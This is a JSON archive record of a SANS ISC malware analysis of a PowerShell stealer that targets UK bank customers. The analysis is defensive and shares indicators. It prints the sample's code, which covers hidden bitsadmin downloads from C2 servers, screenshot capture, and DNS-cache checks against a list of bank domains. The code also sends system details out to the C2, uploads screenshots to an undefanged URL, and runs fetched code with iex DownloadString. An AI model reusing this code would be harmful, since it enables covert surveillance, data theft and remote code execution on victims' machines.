{
	"id": "0fdedf68-3756-45f6-a7c7-b8f4f3cc44ed",
	"created_at": "2026-04-06T00:15:12.688313Z",
	"updated_at": "2026-04-10T13:12:20.338449Z",
	"deleted_at": null,
	"sha1_hash": "7d3a6cc5d4319f2a50f3d5a4cf156f6d09f4ca7a",
	"title": "Malicious Powershell Targeting UK Bank Customers - SANS ISC",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 63096,
	"plain_text": "Malicious Powershell Targeting UK Bank Customers - SANS ISC\r\nBy SANS Internet Storm Center\r\nArchived: 2026-04-05 14:16:20 UTC\r\nI found a very interesting sample thanks to my hunting rules… It is a PowerShell script that was uploaded on VT for the\r\nfirst time on the 16th of May from UK. The current VT score is still 0/59[1]. The upload location is interesting because the\r\nscript targets major UK bank customers as we will see below. Some pieces of the puzzle are missing. I don’t know how the\r\nscript was dropped on the target. A retro-hunt search reported a malicious PE file\r\n(SHA256:3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e[2]) that downloads another\r\nPowerShell script from a site located on a similar URL as found in the first file (hxxps://cflfuppn[.]eu/sload/run-first.ps1).\r\nLet’s check deeper the initial script. The first comment: it is not obfuscated and very easy to read and understand. Here is a\r\nreview of the actions performed.\r\nA specific directory is created to store all the files downloaded and created. The directory name is based on the system\r\nUUID and contains other sub-directories:\r\n(Note: the code has been beautified for easier reading)\r\n$uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;\r\n$path = $env:APPDATA+\"\\\"+$uuid;\r\n$pp=$path+'\\'+$uuid;\r\ntry{ if([System.IO.File]::Exists($pp+\"_0\")){ Remove-Item $pp\"_0\";} }catch{}\r\ntry{ if([System.IO.File]::Exists($pp+\"_1\")){ Remove-Item $pp\"_1\";} }catch{}\r\ntry{ if([System.IO.File]::Exists($pp+\"_2\")){ Remove-Item $pp\"_2\";} }catch{}\r\ntry{ if([System.IO.File]::Exists($pp)){ Remove-Item $pp; } }catch{}\r\nThe most interesting function of the script: It has the capability to take screenshots:\r\n[void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\")\r\n[void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms\")\r\nfunction Get-ScreenCapture{\r\n Param(\r\n [Parameter()]\r\n [Alias(\"Path\")]\r\n [string]$Directory = \".\",\r\n [Parameter()]\r\n [ValidateRange(70,100)]\r\n [int]$Quality,\r\n [Parameter()]\r\n [Switch]$AllScreens)\r\n Set-StrictMode -Version 2\r\n Add-Type -AssemblyName System.Windows.Forms\r\n if ($AllScreens) {\r\n $Capture = [System.Windows.Forms.Screen]::AllScreens\r\nhttps://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nPage 1 of 5\n\n} else {\r\n $Capture = [System.Windows.Forms.Screen]::PrimaryScreen\r\n }\r\n foreach ($C in $Capture) {\r\n $screenCapturePathBase = $path+\"\\ScreenCapture\"\r\n $cc = 0\r\n while (Test-Path \"${screenCapturePathBase}${cc}.jpg\") {\r\n $cc++\r\n }\r\n $FileName=\"${screenCapturePathBase}${cc}.jpg\"\r\n $Bitmap = New-Object System.Drawing.Bitmap($C.Bounds.Width, $C.Bounds.Height)\r\n $G = [System.Drawing.Graphics]::FromImage($Bitmap)\r\n $G.CopyFromScreen($C.Bounds.Location, (New-Object System.Drawing.Point(0,0)), $C.Bounds.Size)\r\n $g.Dispose()\r\n $Quality=70;\r\n $EncoderParam = [System.Drawing.Imaging.Encoder]::Quality\r\n $EncoderParamSet = New-Object System.Drawing.Imaging.EncoderParameters(1)\r\n $EncoderParamSet.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($EncoderParam, $Quality)\r\n $JPGCodec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where{$_.MimeType -eq 'image/j\r\n $Bitmap.Save($FileName ,$JPGCodec, $EncoderParamSet)\r\n $FileSize = [INT]((Get-Childitem $FileName).Length / 1KB)\r\n }\r\n}\r\nThen, a list of URLs is probed to download the next payload. They use BitsAdmin to do the job in the background and\r\nwait for the completion of at least one download. \r\n$d = @(\"hxxps://cflfuppn[.]eu/sload/gate.php\",\"hxxps://sbnlnepttqvbltm[.]eu/sload/gate.php”);\r\nFor ($i=0; $i -le $d.Length-1; $i++){\r\n $rp= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})\r\n $dm0 = \"cmd.exe\";\r\n $ldf='/C bitsadmin /transfer '+$rp+' /download /priority normal \"'+$d[$i]+'?ch=1\" '+$path+'\\'+$uuid+'_'+$i\r\n $ldg='/C bitsadmin /SetMaxDownloadTime '+$rp+' 60'\r\n start-process -wiNdowStylE HiDden $dm0 $ldf;\r\n start-process -wiNdowStylE HiDden $dm0 $ldg;\r\n}\r\n$e=1\r\nwhile($e -eq 1) {\r\n $ad=2;\r\n For ($i=0; $i -le $d.Length-1; $i++) {\r\n $pp=$path+'\\'+$uuid+'_'+$i;\r\n if([System.IO.File]::Exists($pp)) {\r\n $line=Get-Content $pp\r\n if ($line -eq \"sok\"){ $did=$i; }\r\n $ad=1;\r\n }\r\n }\r\n if ($ad -eq 1){ $e=2; }\r\nhttps://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nPage 2 of 5\n\nStart-Sleep -m 30000\r\n}\r\nNote the very long waiting time in the loop (30K minutes). Unfortunately, both URLs were not working during my\r\nanalysis. At the end of the while() loop, $did contains the index of the URL which worked. It will be re-used later.\r\nThe next step is to generate a list of processes running on the target system (without the classic Windows system\r\nprocesses)\r\n$out=\"\";\r\n$tt=Get-Process | Select-Object name\r\nfor ($i=0; $i -le $tt.length-1; $i++) {\r\n if ($tt[$i].Name -notmatch \"svchost\" -and $tt[$i].Name -notmatch \"wininit\" -and $tt[$i].Name -notmatch \"wi\r\n $tt[$i].Name -notmatch \"System\" -and $tt[$i].Name -notmatch \"dllhost\" -and $tt[$i].Name -notmatch \"con\r\n $tt[$i].Name -notmatch \"ApplicationFrameHost\" -and $tt[$i].Name -notmatch \"csrss\" -and \\\r\n $tt[$i].Name -notmatch \"bitsadmin\" -and $tt[$i].Name -notmatch \"cmd\" -and $tt[$i].Name -notmatch \"Runt\r\n $out=$out+\"*\"+$tt[$i].Name;\r\n }\r\n}\r\nThe list of network shares is generated:\r\n$outD=\"\";\r\n$dd=Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.Description -match 'Network'} | Select-Object\r\ntry{ if ($dd ){for ($i=0; $i -le $dd.length; $i++){$outD=$outD+'{'+$dd[$i].DeviceID+''+$dd[$i].ProviderName+\r\ntry{ if ($dd -and $outD -eq \"\" ){$outD='{'+$dd[$i].DeviceID+''+$dd.ProviderName+'}';}}catch {}\r\nBasic information about the target system:\r\n$v1=[System.Environment]::OSVersion.Version.Major;\r\n$v2=[System.Environment]::OSVersion.Version.Minor;\r\n$cp=Get-WmiObject win32_processor | select Name;\r\ntry{ if ($cp.length -gt 0){ $cpu=$cp[0].Name }else{$cpu=$cp.Name} }catch {}\r\nThe most interesting part is the following. The script gets a list of DNS resolver cache via the ‘ipconfig /displaydns’\r\ncommand and searches for interesting domains. The script contains a nice list of UK banks domains:\r\n$oB=\"\";\r\n$b = @(\"nwolb.com\",\"bankline\",\"bankofscotland.co.uk\",\"bankofscotland.co.uk\",\"secure.lloydsbank.co.uk\", \\\r\n \"secure.halifaxonline.co.uk\",\"hsbc.co.uk\",\"rbsdigital.com\",\"barclays.co.uk\",\"onlinebusiness.lloydsban\r\n \"tsb.co.uk\",\"retail.santander.co.uk\",\"business.santander.co.uk\",\"onlinebanking.nationwide.co.uk\");\r\n$dn=ipconfig /displaydns | select-string \"Record Name\"\r\nforEach ($z in $dn) {\r\n for ($i=0; $i -le $b.length-1; $i++){\r\n if ($z -match $b[$i] -and $oB -notmatch $b[$i] ){ $oB+=\"*\"+$b[$i];}\r\nhttps://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nPage 3 of 5\n\n}\r\n}\r\nIf you are a UK bank customer and if you are performing online banking operations, there are chances that one of the\r\ndomains above will be in your cache.\r\nAll the captured data are exfiltrated via an HTTP request:\r\n$rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})\r\n$dm0 = \"cmd.exe\";\r\n$ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND \"'+$d[$did]+ \\\r\n '?g=top.14.05\u0026id='+$uuid+'\u0026v='+$v1+'.'+$v2+'\u0026c='+$rp+'\u0026a='+$out+'\u0026d='+$outD+ \\\r\n '\u0026n='+$env:ComputerName+'\u0026bu='+$oB+'\u0026cpu='+$cpu+'\" '+$path+'\\'+$uuid;\r\nstart-process -wiNdowStylE HiDden $dm0 $ldf;\r\nHere is an example of HTTP request:\r\n\"hxxps://cflfuppn[.]eu/sload/gate.php?g=top.14.05\u0026id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\u0026v=10.0\u0026c=DFnvTdwya\r\nThe result of this request is stored in %APPDATA%\\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\\C3FB4D56-AA47-\r\nB150-E48F-6ECA7E0F9A1F and is parsed to take further actions. I presume that the returned content depends on the\r\ncollection victim details. Based on the code below,  we can deduce the behaviour:\r\n$line=Get-Content $pp\r\nif ($line -match \"run=\"){\r\n $u=$line -replace 'run=','';\r\n $ldf=\"/C powershell.exe -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('\"+$u+\"')\r\n start-process -wiNdowStylE HiDden $dm0 $ldf;\r\n} elseif ($line -match \"updateps=\") {\r\n $u=$line -replace 'updateps=','';\r\n $ldf=\"/C powershell.exe -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('\"+$u+\"')\r\n start-process -wiNdowStylE HiDden $dm0 $ldf;\r\n try{ if([System.IO.File]::Exists($pp+\"_0\")){ Remove-Item $pp\"_0\";} }catch{}\r\n try{ if([System.IO.File]::Exists($pp+\"_1\")){ Remove-Item $pp\"_1\";} }catch{}\r\n try{ if([System.IO.File]::Exists($pp+\"_2\")){ Remove-Item $pp\"_2\";} }catch{}\r\n try{ Remove-Item $pp; }catch{}\r\n break;break;break;break;\r\n}elseif ($line.length -gt 3) {\r\n $rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})\r\n $ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND '+$line+' '+$path+'\\'+$uuid+'_'+$rp+'.\r\n start-process -wiNdowStylE HiDden $dm0 $ldf;\r\n}\r\nIf the line starts with ‘run=‘, a new PowerShell script is downloaded and executed.\r\nIf the line starts with ‘updateps=‘, another script is downloaded and previous files are removed if existing.\r\nOtherwise, the line contains an URL which is downloaded. The data is Base64 encoded, is decoded with certutil.exe and\r\nexecuted. Another HTTP request is performed:\r\nhttps://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nPage 4 of 5\n\n\"hxxps://cflfuppn[.]eu/sload/gate.php?ts=1\u0026id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\u0026c=PFexTUwEzpGXXgwl”\r\nThis looks like clearly a communication channel with the C2.\r\nThen, five screenshots are performed:\r\nfor ($i=0;$i -le 5;$i++){\r\n Get-ScreenCapture;\r\n Start-Sleep -s 40\r\n}\r\nAnd uploaded to the C2:\r\n$c=0;\r\n$screenCapturePathBase = $path+\"\\ScreenCapture\";\r\nwhile (Test-Path \"${screenCapturePathBase}${c}.jpg\") {\r\n try{ Invoke-RestMethod -Uri \"https://cflfuppn.eu/sload/u.php?id=$uuid\u0026i=$c\" -Method Post -InFile \"${screen\r\n Remove-Item \"${screenCapturePathBase}${c}.jpg\";\r\n $c++;\r\n}\r\nAll this code is placed in the script main loop with a sleep time of 600 seconds. \r\nDo you have more information about the missing payloads? Please share.\r\n[1] https://www.virustotal.com/#/file/89c97d1b29ea78baf061e31e8d5258abcdd2cd3830ab9f9e9b6a47bb64d05ccb/community\r\n[2] https://www.virustotal.com/#/file/3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e/detection\r\nXavier Mertens (@xme)\r\nISC Handler - Freelance Security Consultant\r\nPGP Key\r\nSource: https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nhttps://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/"
	],
	"report_names": [
		"23675"
	],
	"threat_actors": [],
	"ts_created_at": 1775434512,
	"ts_updated_at": 1775826740,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7d3a6cc5d4319f2a50f3d5a4cf156f6d09f4ca7a.pdf",
		"text": "https://archive.orkl.eu/7d3a6cc5d4319f2a50f3d5a4cf156f6d09f4ca7a.txt",
		"img": "https://archive.orkl.eu/7d3a6cc5d4319f2a50f3d5a4cf156f6d09f4ca7a.jpg"
	}
}